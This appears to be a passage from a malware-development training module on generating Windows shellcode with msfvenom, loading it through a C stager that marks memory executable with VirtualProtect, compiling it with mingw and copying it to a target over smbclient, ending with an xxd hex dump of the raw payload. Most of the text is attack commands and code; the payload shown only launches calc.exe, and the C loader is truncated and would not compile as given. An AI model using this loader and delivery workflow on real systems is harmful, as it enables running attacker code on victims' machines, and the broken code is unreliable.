Generate shellcode

Generate shellcode using public tools

Most public C2 frameworks provide their own shellcode generator compatible with the C2 platform. Of course, this is so convenient for us, but the drawback is that most, or we can say all, generated shellcodes are well-known to AV vendors and can be easily detected.

$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

The Metasploit framework generates a shellcode that executes the Windows calculator (calc.exe). The Windows calculator is widely used as an example in the Malware development process to show a proof of concept. If the technique works, then a new instance of the Windows calculator pops up. This confirms that any executable shellcode works with the method used.

Shellcode injection


#include <windows.h>
char stager[] = {
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;

Compile it as an .exe file:

$ i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Transfer the .exe to the Windows machine and execute it. To transfer the file, for example, use smbclient:

$ smbclient -U thm '//<IP target>/Tools'
smb: \> put calc-MSF.exe

Generate shellcode from exe files

C2 Frameworks provide shellcode as a raw binary file .bin. If this is the case, we can use the Linux system command xxd to get the hex representation of the binary file.

$ msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
No encoder specified, outputting raw payload
Payload size: 193 bytes

$ file /tmp/example.bin
/tmp/example.bin: data

$ xxd -i /tmp/example.bin
unsigned char _tmp_example_bin[] = {
  0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
  0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
  0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
  0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
  0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
  0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
  0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
  0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
  0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
  0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
  0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
  0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,
  0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5,
  0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,
unsigned int _tmp_example_bin_len = 193;